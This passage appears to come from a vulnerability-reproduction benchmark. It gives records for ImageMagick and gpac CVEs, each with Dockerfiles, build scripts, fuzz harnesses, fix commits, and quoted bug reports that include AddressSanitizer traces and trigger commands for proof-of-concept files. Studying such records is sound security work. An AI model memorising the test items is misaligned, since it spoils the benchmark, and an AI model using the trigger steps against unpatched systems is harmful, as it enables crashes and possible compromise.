"https://github.com/LibreDWG/libredwg/commit/185889b5abc6ff68b071758b82cf20be11102326" }, { "sha": "3cf9d1705ff51d6970970ca9e4911c2eab0d338b", "url": "https://github.com/LibreDWG/libredwg/commit/3cf9d1705ff51d6970970ca9e4911c2eab0d338b" }, { "sha": "93c25124c191987af168ace9fe4b5623061874bd", "url": "https://github.com/LibreDWG/libredwg/commit/93c25124c191987af168ace9fe4b5623061874bd" }, { "sha": "5650507fb5065c329984f19ce040fd83bd1a5298", "url": "https://github.com/LibreDWG/libredwg/commit/5650507fb5065c329984f19ce040fd83bd1a5298" }, { "sha": "8e961a8ead7818b72f36bdf9eccd0d330e6ea231", "url": "https://github.com/LibreDWG/libredwg/commit/8e961a8ead7818b72f36bdf9eccd0d330e6ea231" }, { "sha": "69b4132a0591b81fddd30588a67c79fc01e69c52", "url": "https://github.com/LibreDWG/libredwg/commit/69b4132a0591b81fddd30588a67c79fc01e69c52" }, { "sha": "0075d173dbb015b72ed779d6ec7ca016841972f3", "url": "https://github.com/LibreDWG/libredwg/commit/0075d173dbb015b72ed779d6ec7ca016841972f3" }, { "sha": "84d938b1d28d514eead8fdc21e7eec4fdfe053f5", "url": "https://github.com/LibreDWG/libredwg/commit/84d938b1d28d514eead8fdc21e7eec4fdfe053f5" }, { "sha": "3d32e491b912cce17c6b8080b32872b1c11472c3", "url": "https://github.com/LibreDWG/libredwg/commit/3d32e491b912cce17c6b8080b32872b1c11472c3" }, { "sha": "07470ca096ff1587fe3b9a57b8366cfcc043d131", "url": "https://github.com/LibreDWG/libredwg/commit/07470ca096ff1587fe3b9a57b8366cfcc043d131" }, { "sha": "e685e689d05d4b7da9a61e9d0868a65db4f82469", "url": "https://github.com/LibreDWG/libredwg/commit/e685e689d05d4b7da9a61e9d0868a65db4f82469" }, { "sha": "97cc629fbea0d8d81b33ce382214578f3379de09", "url": "https://github.com/LibreDWG/libredwg/commit/97cc629fbea0d8d81b33ce382214578f3379de09" }, { "sha": "529decd91126d9a436ce2d0a84434ed7899be507", "url": "https://github.com/LibreDWG/libredwg/commit/529decd91126d9a436ce2d0a84434ed7899be507" }, { "sha": "8e14a3ee22cc1f96b638ee36c1aba3bbea314687", "url": "https://github.com/LibreDWG/libredwg/commit/8e14a3ee22cc1f96b638ee36c1aba3bbea314687" }, { "sha": "496702e3c2486adae863fd919f20e7a7490c847c", "url": "https://github.com/LibreDWG/libredwg/commit/496702e3c2486adae863fd919f20e7a7490c847c" }, { "sha": "8a75ac27367343e531dd7ee1b61db70edf2e816a", "url": "https://github.com/LibreDWG/libredwg/commit/8a75ac27367343e531dd7ee1b61db70edf2e816a" }, { "sha": "07c078aca71840f0f9a0dffb3032056d043858b0", "url": "https://github.com/LibreDWG/libredwg/commit/07c078aca71840f0f9a0dffb3032056d043858b0" }, { "sha": "12dafc13a96cdaa019f95a6ca245e8b29d1763a5", "url": "https://github.com/LibreDWG/libredwg/commit/12dafc13a96cdaa019f95a6ca245e8b29d1763a5" }, { "sha": "e03b16b603c566c317f7c5161cc7550360081dd0", "url": "https://github.com/LibreDWG/libredwg/commit/e03b16b603c566c317f7c5161cc7550360081dd0" }, { "sha": "92feac9b0dcfe3193d479fc245f95a8d025db4d7", "url": "https://github.com/LibreDWG/libredwg/commit/92feac9b0dcfe3193d479fc245f95a8d025db4d7" }, { "sha": "3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a", "url": "https://github.com/LibreDWG/libredwg/commit/3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a" }, { "sha": "14a3ffe26d4bcd267c42471caebaf21185c16a4c", "url": "https://github.com/LibreDWG/libredwg/commit/14a3ffe26d4bcd267c42471caebaf21185c16a4c" }, { "sha": "d7bdfbc83211fb8732ab12382f2c3bfab51e3480", "url": "https://github.com/LibreDWG/libredwg/commit/d7bdfbc83211fb8732ab12382f2c3bfab51e3480" }, { "sha": "107b5e47f3de5d333405e0a201f495a4a905e96b", "url": "https://github.com/LibreDWG/libredwg/commit/107b5e47f3de5d333405e0a201f495a4a905e96b" }, { "sha": "f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9", "url": "https://github.com/LibreDWG/libredwg/commit/f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9" }, { "sha": "c0bbb7388465800f01683fa90d434026c852f06c", "url": "https://github.com/LibreDWG/libredwg/commit/c0bbb7388465800f01683fa90d434026c852f06c" }, { "sha": "ea93bca48a63ddf70f7df017f2c21f38469a83af", "url": "https://github.com/LibreDWG/libredwg/commit/ea93bca48a63ddf70f7df017f2c21f38469a83af" }, { "sha": "817e586f2bbce42cf9e75e118c1c7feae941669b", "url": "https://github.com/LibreDWG/libredwg/commit/817e586f2bbce42cf9e75e118c1c7feae941669b" }, { "sha": "41ff7afc44babae1236c3587024ee84b57006990", "url": "https://github.com/LibreDWG/libredwg/commit/41ff7afc44babae1236c3587024ee84b57006990" }, { "sha": "55295f939b6a8cfd7a25c40ea780d8c83e67b0db", "url": "https://github.com/LibreDWG/libredwg/commit/55295f939b6a8cfd7a25c40ea780d8c83e67b0db" }, { "sha": "5064790b1bf390807bfa727139e40a3afd85183e", "url": "https://github.com/LibreDWG/libredwg/commit/5064790b1bf390807bfa727139e40a3afd85183e" }, { "sha": "d6f8f351c34c4ad2b9e300a8b0718439467bd55a", "url": "https://github.com/LibreDWG/libredwg/commit/d6f8f351c34c4ad2b9e300a8b0718439467bd55a" }, { "sha": "ba6aa54df0c78bc930b4ec71f72767f1a011d96e", "url": "https://github.com/LibreDWG/libredwg/commit/ba6aa54df0c78bc930b4ec71f72767f1a011d96e" }, { "sha": "b7369a17445f8831582af3708a5e84362b0db536", "url": "https://github.com/LibreDWG/libredwg/commit/b7369a17445f8831582af3708a5e84362b0db536" } ]
imagemagick.cve-2017-17879
imagemagick/imagemagick
ddbf0ed10323d0fb329189041190630a8f7af5a7
2017-12-25T07:15:39
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout ddbf0ed10323d0fb329189041190630a8f7af5a7 WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --prefix="$WORK" --disable-shared --disable-docs make "-j$(nproc)" make install -j$(nproc)
/src/imagemagick
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/906 ## Description: Issue: ImageMagick/ImageMagick#906 Title: heap-buffer-overflow in ReadOneMNGImage State: closed Created by: henices Created at: 2017-12-21 07:57:04+00:00 Labels: bug Issue Body: /usr/local/bin/magick -version Version: ImageMagick 7.0.7-16 Q16 x86_64 2017-12-21 http://www.imagemagick.org Copyright: © 1999-2018 ImageMagick Studio LLC License: http://www.imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP Delegates (built-in): bzlib cairo djvu fftw fontconfig freetype gvc jbig jng jpeg lcms lqr lzma pangocairo png rsvg tiff webp wmf x xml zlib Trigger Command: **magick convert heap-buffer-overflow-ReadOneMNGImage /dev/null** ``` ================================================================= ==2281==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000789a at pc 0x7ff33d424550 bp 0x7ffd1a613bf0 sp 0x7ffd1a613be0 READ of size 1 at 0x60200000789a thread T0 #0 0x7ff33d42454f in ReadOneMNGImage coders/png.c:5885 #1 0x7ff33d43193b in ReadMNGImage coders/png.c:7694 #2 0x7ff33cdad58a in ReadImage MagickCore/constitute.c:497 #3 0x7ff33cdb0453 in ReadImages MagickCore/constitute.c:866 #4 0x7ff33c5639bf in ConvertImageCommand MagickWand/convert.c:641 #5 0x7ff33c6de25c in MagickCommandGenesis MagickWand/mogrify.c:183 #6 0x401b16 in MagickMain utilities/magick.c:149 #7 0x401d80 in main utilities/magick.c:180 #8 0x7ff3362c8009 in __libc_start_main (/lib64/libc.so.6+0x21009) #9 0x4015d9 in _start (/usr/local/bin/magick+0x4015d9) 0x60200000789a is located 0 bytes to the right of 10-byte region [0x602000007890,0x60200000789a) allocated by thread T0 here: #0 0x7ff33dba8850 in malloc (/lib64/libasan.so.4+0xde850) #1 0x7ff33cf809dc in AcquireMagickMemory MagickCore/memory.c:464 #2 0x7ff33cf80a30 in AcquireQuantumMemory MagickCore/memory.c:537 #3 0x7ff33d4211c0 in ReadOneMNGImage coders/png.c:5421 #4 0x7ff33d43193b in ReadMNGImage coders/png.c:7694 #5 0x7ff33cdad58a in ReadImage MagickCore/constitute.c:497 #6 0x7ff33cdb0453 in ReadImages MagickCore/constitute.c:866 #7 0x7ff33c5639bf in ConvertImageCommand MagickWand/convert.c:641 #8 0x7ff33c6de25c in MagickCommandGenesis MagickWand/mogrify.c:183 #9 0x401b16 in MagickMain utilities/magick.c:149 #10 0x401d80 in main utilities/magick.c:180 #11 0x7ff3362c8009 in __libc_start_main (/lib64/libc.so.6+0x21009) SUMMARY: AddressSanitizer: heap-buffer-overflow coders/png.c:5885 in ReadOneMNGImage Shadow bytes around the buggy address: 0x0c047fff8ec0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff8ed0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff8ee0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff8ef0: fa fa fd fd fa fa 00 00 fa fa fd fd fa fa 00 01 0x0c047fff8f00: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa =>0x0c047fff8f10: fa fa 00[02]fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8f20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8f30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8f40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8f50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8f60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2281==ABORTING ``` tesecase: https://github.com/henices/pocs/raw/master/heap-buffer-overflow-ReadOneMNGImage Credit: zz of NSFocus Security Team <security (at) nsfocus (dot) com> Comments: Comment by urban-warrior on 2017-12-21 11:17:50+00:00: Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ https://www.imagemagick.org/download/beta/ by sometime tomorrow. --- Comment by nohmask on 2017-12-25 04:06:31+00:00: This was assigned CVE-2017-17879.
[ { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n", "filename": "crop_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n", "filename": "encoder_fuzzer.cc" }, { "content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n", "filename": "encoder_list.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n", "filename": "enhance_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n", "filename": "huffman_decode_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n", "filename": "rotate_fuzzer.cc" } ]
[ { "sha": "72b3994a948a8a90dc664f3e7f72464878a31fbf", "url": "https://github.com/ImageMagick/ImageMagick/commit/72b3994a948a8a90dc664f3e7f72464878a31fbf" }, { "sha": "e41f18ecccbdd1c38e1382057718e91e8f8d6d80", "url": "https://github.com/ImageMagick/ImageMagick/commit/e41f18ecccbdd1c38e1382057718e91e8f8d6d80" } ]
gpac.cve-2019-20167
gpac/gpac
ed4ec31ea84a1a94abb17669db33f5c4e7a679cf
2020-06-15T05:33:03
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout ed4ec31ea84a1a94abb17669db33f5c4e7a679cf WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/gpac/gpac/issues/1330 ## Description: Issue: gpac/gpac#1330 Title: AddressSanitizer: NULL pointer dereference in senc_Parse isomedia/box_code_drm.c:1378 State: closed Created by: Clingto Created at: 2019-11-09 11:17:12+00:00 Issue Body: System info: Ubuntu 16.04.6 LTS, X64, gcc 5.4.0, gpac (latest master 00dfc93) Compile Command: ``` $ CC="gcc -fsanitize=address -g" CXX="g++ -fsanitize=address -g" ./configure --static-mp4box $ make ``` Run Command: ``` $ MP4Box -diso -out /dev/null $POC-new-senc_Parse ``` POC file: https://github.com/Clingto/POC/blob/master/gpac-MP4Box/gpac-00dfc93-crashes/POC-new-senc_Parse gdb info: ```C Program received signal SIGSEGV, Segmentation fault. 0x00000000006e1112 in senc_Parse () (gdb) bt #0 0x00000000006e1112 in senc_Parse () #1 0x000000000051b7b2 in gf_isom_parse_movie_boxes.part () #2 0x000000000051c48c in gf_isom_open_file () #3 0x000000000041c082 in mp4boxMain () #4 0x00007ffff72ed830 in __libc_start_main (main=0x40eb70 <main>, argc=5, argv=0x7fffffffe328, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe318) at ../csu/libc-start.c:291 #5 0x000000000040eba9 in _start () ``` ASAN info: ```C [iso file] Unknown box type tfhd in parent moof [iso file] Unknown box type mvhd in parent moof [iso file] Box "tfhd" (start 561) has 68 extra bytes [iso file] Box "tfhd" (start 653) has 594 extra bytes [iso file] extra box tfhd found in traf, deleting [iso file] Box "tfhd" (start 1275) has 68 extra bytes [iso file] Unknown box type VOID in parent moof [iso file] Box "tfhd" (start 1993) has 68 extra bytes [iso file] Box "sgpd" (start 2085) has 373 extra bytes [iso file] Box "traf" is larger than container box [iso file] Box "moof" size 2056 (start 24) invalid (read 2675) [iso file] Movie fragment but no moov (yet) - possibly broken parsing! [isobmf] no moov found, cannot get cenc default info, assuming isEncrypted, IV size 16  ASAN:SIGSEGV ================================================================= ==27812==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000058 (pc 0x000000b0801d bp 0x000000000003 sp 0x7fffffff82c0 T0) #0 0xb0801c in senc_Parse isomedia/box_code_drm.c:1378 #1 0x6dc006 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:407 #2 0x6dd2f3 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:194 #3 0x6dd2f3 in gf_isom_open_file isomedia/isom_intern.c:615 #4 0x42f88a in mp4boxMain /home/aota09/yyp/fuzzcompare/test/gpac/test-crash/build_asan_00dfc93/applications/mp4box/main.c:4767 #5 0x7ffff638082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #6 0x41e228 in _start (/home/aota09/yyp/fuzzcompare/test/gpac/test-crash/bin_asan/bin/MP4Box+0x41e228) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV isomedia/box_code_drm.c:1378 senc_Parse ==27812==ABORTING ``` --- Edit This bug issue still exists in latest version 0.8.0: 4c19ae5 and 0.9.0: 1de1f8d --- Addition: This bug was found with our fuzzer, which is based on AFL. Our fuzzer is developed by Yuanpingyu(cfenicey@gmail.com) 、Yanhao and Marsman1996(lqliuyuwei@outlook.com) Comments: Comment by carnil on 2019-12-31 10:02:01+00:00: CVE-2019-20167 was assigned for this issue. --- Comment by aureliendavid on 2020-01-08 12:44:20+00:00: Thanks for the report. This should be fixed in master / 0.8.0 as of the above commit. It will be included in filters / 0.9.0 in the next merge. Feel free to reopen the issue if necessary.
[ { "content": "/* Copyright 2021 Google LLC\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n#include <stdio.h>\n#include <unistd.h>\n\n#include <gpac/internal/isomedia_dev.h>\n#include <gpac/constants.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char filename[256];\n sprintf(filename, \"/tmp/libfuzzer.%d\", getpid());\n\n FILE *fp = fopen(filename, \"wb\");\n if (!fp) {\n return 0;\n }\n fwrite(data, size, 1, fp);\n fclose(fp);\n\n GF_ISOFile *movie = NULL;\n movie = gf_isom_open_file(filename, GF_ISOM_OPEN_READ_DUMP, NULL);\n if (movie != NULL) {\n gf_isom_close(movie);\n }\n unlink(filename);\n return 0;\n}\n", "filename": "fuzz_parse.c" } ]
[ { "sha": "5250afecbc770c8f26829e9566d5b226a3c5fa80", "url": "https://github.com/gpac/gpac/commit/5250afecbc770c8f26829e9566d5b226a3c5fa80" } ]
gpac.cve-2023-2840
gpac/gpac
6f28c4cd607d83ce381f9b4a9f8101ca1e79c611
2023-05-22T10:35:19
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout 6f28c4cd607d83ce381f9b4a9f8101ca1e79c611 WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/21926fc2-6eb1-4e24-8a36-e60f487d0257 ## Description: Description NULL Pointer Dereference In gf_isom_fragment_add_sample_ex isomedia/movie_fragments.c:2883 Environment No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 20.04 LTS Release: 20.04 Codename: focal Build sudo CC=gcc CXX=g++ CFLAGS="-fsanitize=address -static-libasan" CXXFLAGS="-fsanitize=address -static-libasan" LDFLAGS="-fsanitize=address -static-libasan" ./configure && sudo make Proof of Concept bin/gcc/MP4Box -dash 1000 ./poc7 poc ASAN [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent minf [iso file] Missing DataInformationBox [iso file] Unknown box type 0000 in parent moov [iso file] Read Box type 0000 (0x30303030) at position 11542 has size 0 but is not at root/file level. Forbidden, skipping end of parent box ! [iso file] Box "moov" (start 20) has 806 extra bytes [iso file] Unknown top-level box type 0000 [IsoMedia] Track 1 is disabled but single track in file, considering it enabled [Dasher] No template assigned, using $File$_dash$FS$$Number$ [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent moov [iso file] Unknown box type 0000 in parent moov AddressSanitizer:DEADLYSIGNAL ================================================================= ==3802899==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fc009a6a74c bp 0x000000000000 sp 0x7fff627f5d40 T0) ==3802899==The signal is caused by a READ memory access. ==3802899==Hint: address points to the zero page. #0 0x7fc009a6a74b in gf_isom_fragment_add_sample_ex isomedia/movie_fragments.c:2883 #1 0x7fc00a713f83 in mp4_mux_process_sample filters/mux_isom.c:4742 #2 0x7fc00a759cd6 in mp4_mux_process_fragmented filters/mux_isom.c:6391 #3 0x7fc00a759cd6 in mp4_mux_process filters/mux_isom.c:6992 #4 0x7fc00a375c48 in gf_filter_process_task filter_core/filter.c:2894 #5 0x7fc00a31f731 in gf_fs_thread_proc filter_core/filter_session.c:1961 #6 0x7fc00a3378fb in gf_fs_run filter_core/filter_session.c:2263 #7 0x7fc009b96fdb in gf_dasher_process media_tools/dash_segmenter.c:1236 #8 0x55ec636cfcad in do_dash /home/ubuntu/gpac/applications/mp4box/mp4box.c:4825 #9 0x55ec636cfcad in mp4box_main /home/ubuntu/gpac/applications/mp4box/mp4box.c:6236 #10 0x7fc008eff082 in __libc_start_main ../csu/libc-start.c:308 #11 0x55ec63561e9d in _start (/home/ubuntu/gpac/bin/gcc/MP4Box+0x1de9d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV isomedia/movie_fragments.c:2883 in gf_isom_fragment_add_sample_ex ==3802899==ABORTING Impact This vulnerability is capable of making the MP4Box crash, An attacker who can successfully exploit this vulnerability could potentially execute arbitrary code in the context of the application, leading to a compromise of the system where the vulnerable software is installed. Additionally, the attacker could use this vulnerability to cause a denial of service (DoS) by crashing the application or making it unresponsive. This vulnerability poses a significant risk to the confidentiality, integrity, and availability of systems running the affected software. Relevant Links: https://github.com/gpac/gpac https://drive.google.com/file/d/1q2w7UcjDg1kxOCOmXQDe8ofgA1TBpxeY/view?usp=sharing
[]
[ { "sha": "21926fc2", "url": null }, { "sha": "ba59206b3225f0e8e95a27eff41cb1c49ddf9a37", "url": "https://github.com/gpac/gpac/commit/ba59206b3225f0e8e95a27eff41cb1c49ddf9a37" } ]
gpac.cve-2022-29537
gpac/gpac
418db4149af78773815b5f6a7030a120037ba140
2022-02-22T09:21:46
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout 418db4149af78773815b5f6a7030a120037ba140 WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/gpac/gpac/issues/2173 ## Description: Issue: gpac/gpac#2173 Title: [BUG] heap buffer overflow in gp_rtp_builder_do_hevc State: closed Created by: kdsjZh Created at: 2022-04-16 08:01:38+00:00 Issue Body: Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ ## Describe the bug There is a heap-overflow bug in gp_rtp_builder_do_hevc, can be triggered via MP4Box+ ASan ## Step to reproduce ./configure --enable-sanitizer && make -j$(nproc) ./MP4Box -hint -out /dev/null poc ## Sanitizer output ``` [iso file] Box "hvcC" (start 919) has 26 extra bytes Hinting track ID 1 - Type "hvc1:hvc1" (H265) - BW 3 kbps [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it 